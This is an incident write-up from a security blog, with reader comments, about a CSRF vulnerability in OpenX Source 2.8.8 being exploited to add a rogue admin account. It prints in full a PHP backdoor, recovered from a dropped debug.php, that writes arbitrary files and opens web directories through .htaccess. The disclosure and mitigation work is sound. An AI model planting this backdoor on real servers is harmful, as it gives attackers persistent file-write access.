OpenX CSRF Vulnerability Being Actively Exploited

OpenX is one of the most popular banner advertising platforms on the web. OpenX Enterprise is a SaaS product, but they also provide the OpenX Source product for free to those who wish to host their own digital advertising services. In July 2011 Narendra Shinde published an advisory regarding a Cross Site Request Forgery (CSRF) vulnerability in OpenX Source 2.8.7. In this article I will demonstrate that this vulnerability is still present in the latest version of OpenX Source (version 2.8.8).  Moreover, this vulnerability is being actively exploited to compromise OpenX Source installations in order to serve malicious content via banner ads.


On Friday April 20th, 2012, I logged into the OpenX application of one my clients’ when I happened to notice an unfamiliar admin account. After verifying that this account had not been added by any of the other OpenX administrators in the organization, I began an investigation. The account that was created was called “openx-manager”. The screenshot below shows the time and date that the account was created based on the database transaction log:

As can be seen, a record was inserted into the users table creating the admin account “openx-manager” with an email account of “[email protected]”. In order to ensure that this account did not exist prior to this date I loaded database dumps from days prior to 4/20 into a test environment and did not find this account in the users table. Thus, this account was added on that day on a system running OpenX Source 2.8.8.

Next I decided to check the OpenX audit log to see if there was any helpful  information there:


Whoa. Wait a minute.  According to the audit log the openx-manager account was created by me! How is that possible?! I certainly didn’t create this account, at least not intentionally. Of course I’m not going to rest until I get to the bottom of this.

Evidence for CSRF

Based on the information in the audit log, it is clear that the unauthorized account was created using my account. While it is possible that this could have been a case of stolen credentials or a brute-force attack, the evidence shows otherwise.  This is a case of CSRF. The attacker rode my session to inject this rogue admin account using my credentials while I was logged into the application.

As was stated in the first paragraph, OpenX 2.8.7 has a known CSRF vulernability.  OpenX has never made any statements regarding resolving this and in fact, it is still present in version 2.8.8. I know this because I am an active user of OpenX and it does not employ any of the typical methods for preventing CSRF such as:

  1. Use of unpredictable challenge tokens associated with the user’s session for each request that is submitted.
  2. Double submission of session cookies via the use of a hidden form field.
  3. Use of some type of challenge response such as requiring a captcha or a password for sensitive operations.

Furthermore, at the time that the unauthorized account was created, I was logged into OpenX. Recall that the account was created at 9:39am and I had logged into OpenX just prior to that. The question is, how did the attack occur. CSRF typically requires some type of user interaction and/or social engineering. For example, sending an email to the victim with the embedded CSRF URL or convincing the victim to click on the CSRF link in some other manner. But I don’t recall clicking on anything outside of the OpenX interface while I was logged in. I went back to check all my emails from that day and prior and found nothing related to this incident.

However, when I began to examine the web server logs from the OpenX application server, I found something very interesting indeed.

Below is just one example of many similar log entries:

IP Removed – – [20/Apr/2012:09:39:25 -0400] “POST /admin-user.php?submit=1 HTTP/1.1” 302 20 “” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19”

This log entry is very telling. First, note the time (9:39am EST on 4/20). This is exactly when the account was created and I had logged in. Second, even though I removed the source IP so as not to divulge my client’s network, the source IP was mine which means the request originated from my system. Third and most importantly, notice the referrer:[my_client_domain].com/

This means that the CSRF attack was hosted on which is OpenX’s free hosted ad server solution! The file icons.html appears to be a script that takes as its input a URL (in this case, my client’s OpenX server). In short, the attack appears to have originated from OpenX’s own SaaS system! In the days following the attack I verified that the URL was active. However, at some time on April 24th it must have been removed, because now this URL provides a 404. My suspicion is that OpenX discovered the hack and quietly removed the malicious script.

I had posted information on the OpenX support forums regarding this rogue account and others verified similar activity.  However, no one from OpenX responded on the support forum. I have reached out to various contacts at OpenX, but have not received any responses.

Outside of the creation of the unauthorized admin account within the OpenX application, there were two other changes that occurred as a result of this attack. First, the attacker was able to overwrite the .htaccess file, thereby removing its contents and opening up one of the directories to full access. Second, a file called debug.php was dropped into the openx_install/var directory. The contents of this file appear to be log information from the attack and verify the attempts to overwrite .htaccess files.

Contents of debug.php:

Apr 20 09:39:29 -0400 OX-4f916711b1079 [ error] Unable to determine configuration requirements for <?php $f = __FILE__; $b = basename($f); $d = dirname($f).\’/\’; $r = $_REQUEST; if(!function_exists(\’fp\’)){function fp($n,$b){$f=fopen($n,\’wb+\’);flock($f,LOCK_EX);fwrite($f, $b);flock($f,LOCK_UN);fclose($f);}} if(isset($r[\’widget\’])) { $n = chr(10); $h = \’order allow,deny\’.$n.\’allow from all\’.$n.\’satisfy any\’.$n.\’options +indexes\’; $ht = \’.htaccess\’; $c = file_get_contents($f); $m = $d.\’../www/\’; fp($m.\’/admin/plugins/\’.$ht,$h); fp($m.\’/admin/plugins/\’.$b,$c); fp($m.\’/images/\’.$ht,$h); fp($m.\’/images/\’.$b,$c); fp($m.\’/delivery/\’.$ht,$h); fp($m.\’/delivery/\’.$b,$c); } else { die(md5(1).chr(32).fp($d.$r[\’f\’],$r[\’b\’])); } exit; ?> – could not locate definition at Apr 20 09:53:40 -0400 OX-plugins-4f916a64b35fc [ error] Filename mismatch: name/fileopenXBannerTypes / .htaccess Apr 20 09:53:40 -0400 OX-plugins-4f916a64b35fc [ error] Package filename mismatch, the file must contain the package name Apr 20 09:53:44 -0400 OX-4f916a68b0c28 [ error] Unable to determine configuration requirements for <?php $f = __FILE__; $b = basename($f); $d = dirname($f).’/’; $r = $_REQUEST; if(!function_exists(‘fp’)){function fp($n,$b){$f=fopen($n,’wb+’);flock($f,LOCK_EX);fwrite($f, $b);flock($f,LOCK_UN);fclose($f);}} if(isset($r[‘widget’])) { $n = chr(10); $h = ‘order allow,deny’.$n.’allow from all’.$n.’satisfy any’.$n.’options +indexes’; $ht = ‘.htaccess’; $c = file_get_contents($f); $m = $d.’../www/’; fp($m.’/admin/plugins/’.$ht,$h); fp($m.’/admin/plugins/’.$b,$c); fp($m.’/images/’.$ht,$h); fp($m.’/images/’.$b,$c); fp($m.’/delivery/’.$ht,$h); fp($m.’/delivery/’.$b,$c); } else { die(md5(1).chr(32).fp($d.$r[‘f’],$r[‘b’])); } exit; ?> – could not locate definition at


On March 28, 2012, Sophos published an article titled “OpenX ads leading to malware c/o ‘BlackAdvertsPro” in which the author notes that a number of OpenX servers have been compromised recently and ads have been modified to deliver malicious content. I have also spoken to Erik Geurts, a well-known independent OpenX consultant, and he has also had clients with compromised OpenX systems recently. In those cases the same “openx-manager” admin account was created and the same debug.php file was left behind. Additionally they found links to malicious websites.  Had I not detected that my client’s system had been compromised it probably would have been used to deliver malicious ads as well.

The one question that I have not been able to answer definitively is exactly how did the attack was carried out. However, I believe I have put together a very plausible scenario.  When you login to the OpenX application, an ad loads via an iframe on the right side of the dashboard. OpenX uses this to promote different products of theirs (currently OpenX Market). This iframe makes calls to and most importantly, loads some javascript. This is important because the only way the CSRF attack would be able to create a new user is via javascript, since that action uses the POST method. The IP address of is and the address of is For all I know these may be the same servers. My belief is that these systems were compromised and the javascript was modified to inject the rogue admin account via the iframe in the dashboard. So when an administrator logs in, the account would be created without any interaction from him. Checking our Apache logs I see referrers containing the host going back to April 10 and continuing through April 24 (the date that the icons.html script was removed from My guess is that those logs are related to non-admin users logging into OpenX, but because they did not have the necessary privileges, the attack was unsuccessful. When I logged in as an admin, the attack succeeded.

Since OpenX has not resolved the CSRF vulnerability, all users of OpenX Source are vulnerable. Until a fix for this vulnerability is released, there are a few things you can do to try and remediate this vulerability:

  1. Review all OpenX admin accounts regularly. You may even want to setup a database trigger to alert you when a new admin account is created.
  2. Search your OpenX database for malicious links regularly (see this article for details).
  3. Disable the OpenX dashboard in your user preferences. The dashboard is not required and is likely a component of the attack.
  4. Limit use of admin accounts to only those times when performing admin functions. Otherwise use a non administrative account.
  5. If possible, limit access to your OpenX admin interface (see this article for details).


I would like to thank Erik Geurts for his valuable and timely assistance in my investigation. The following articles were also very helpful in my investigation:


9 Responses to “OpenX CSRF Vulnerability Being Actively Exploited”

  1. Mark Baldwin says:

    OpenX has released a post on their blog with some mitigation tips for this vulnerability.

  2. AM Helin says:

    I encountered a case of this attack today. It seems that the debug.php is actually a backdoor dropped there somehow – possibly by means of poisoning OpenX’s normal log – and using request parameters it can be easily used to write or overwrite files within the permissions of the web server and/or PHP. In our case, debug.php was apparently used to drop a fully-functioning WSO 2.0 shell into www/admin/plugins/xmarket/xmarket.php.

    In addition, a malicious piece of JavaScript injecting an iframe with a dynamic domain ending in and changing hourly was placed into each and every zone’s “append” field, causing it to be shown with every banner. I tested every host that will be encountered in May, and only two had DNS entries. The IP addresses pointed to normal DSL connections in Greece, and neither responded to any sort of communication.

    It seems that the initial CSRF happened on 25th April and the malicious iframe was added on 1st May.

  3. Disgusted of Tunbridge Wells says:

    We had site users complaining of intermittent AV warnings for a week or so and I could not track down the cause. I checked our OpenX install for alert updates and none of the usual mails and found nothing so assumed all was fine. I really do think that OpenX should have alerted users to the fact that they may have been hacked but am guessing they chose not to due to the fact that the source of the attack appears to have been their own servers. Very poor show.

  4. Mark Baldwin says:

    OpenX has released a fix for the CSRF vulnerability I wrote about on April 29th. See there announcement here.

  5. Dario says:

    Same thing happened to one of my servers last month, orb shell uploaded to the images/layerstyles/geocities folder, malicious iframe placed in the append column of the banners table pointing to trafficcompanygood(.net)

    What I really find incredible is that the malware is loaded from their server in the admin dashboard. This happens to any version of openx, even the last one 2.8.9. It gets loaded from the iframe on the right, the one where they place ads from open marketer.
    As you state, their server has been compromised. Finding the malicious code is easy, anyone can check it out:
    1) Login with chrome (enable the dashboard if its diabled), press F12 to open the devel tools, reload the dashboard
    2) Select resources tab and search for blackdomaingood, you’ll see the same iframe technique you are describing in your post.
    3) As you can see in the left pane, that iframe is loaded from afr.php which is served by ( point the mouse on the folder above the file )

    As you state the dashboard is a component of the attack and should be disabled, it’s funny that the traces are still there. Whois reveals that both domains are registered to the same company based in London. In my case the attack was carried out from the Estonian network owned by another company always based in London! What a coincidence!

    I would really love to hear from openx why that malicious code is still there on their server.

  6. Zack says:

    Hello Mark
    Are you sure the 2.8.7 version is vulnerable? Because I tested on my localhost and everything seems to be ok, no user is added in my dashboard

  7. Mark Baldwin says:

    Yes, OpenX 2.8.7 is definitely vulnerable to several vulnerabilities including a SQLi vulnerability. Even OpenX has admitted as much. I highly recommend upgrading your install as soon as possble.

  8. Stefano says:

    I read this articles 2 years ago when my openx platform was hacked. It was very useful! 🙂

    Now i’ve installed and testing version 2.8.10. Is this version safe? Can i remove htaccess from /www/admin? (i won’t my clients to digit 2 account/password for their control panel)

    Thank you
    from Italy

  9. Mark Baldwin says:

    As far as I know 2.8.10 does not have any vulnerabilities. I would say it is safe to remove htaccess authentication. Thanks.


  1. OpenX Promises Fix for Rogue Ads Bug — Krebs on Security - [...] problem first came to my attention after I read a blog post by infosec researcher Mark Baldwin, who wrote…
  2. Ozcrates.CO.CC | Oliver Zdravkovic » Adserver: OpenX soll bald keine Schadsoftware mehr verteilen können » Sport, Politik, Technik, Psychologie - [...] Firma hinter dem Werbeserver geht nicht offen mit den Problemen um und hat bisher auf die Berichte von Sicherheitsforschern…
  3. Kritische Sicherheitslücke in OpenX 2.8.8 « Kreativrauschen - [...] ausführliche Analyse des Angriffes gibt es u.a. bei InfosecStuff. Deutschsprachige Berichterstattung u.a. bei [...]
  4. Информационная безопасность » OpenX обещает устранить уязвимость, приведшую к атаке на их клиентов - [...] Впервые я столкнулся с данной проблемой, когда читал блог ислледователя Марка Болдуина, который в прошлом [...]
  5. OpenX Doesn’t Take Security Seriously - Web Security Blog | White Fir Design - [...] be the first time that OpenX’s website has been breached. It appears that their website was previously breached and…
  6. Where Revive Adserver is Getting It Right and Wrong | White Fir Design Blog - […] and someone was able to modify the OpenX downloads so that malicious code was included. In another their systems…
  7. OpenX Releases Patch for CSRF Vulnerability | InfosecStuff - […] released a patch for the CSRF vulnerability I wrote about on April 29th. As is typical of their security announcements,…

Leave a Reply

Your email address will not be published. Required fields are marked *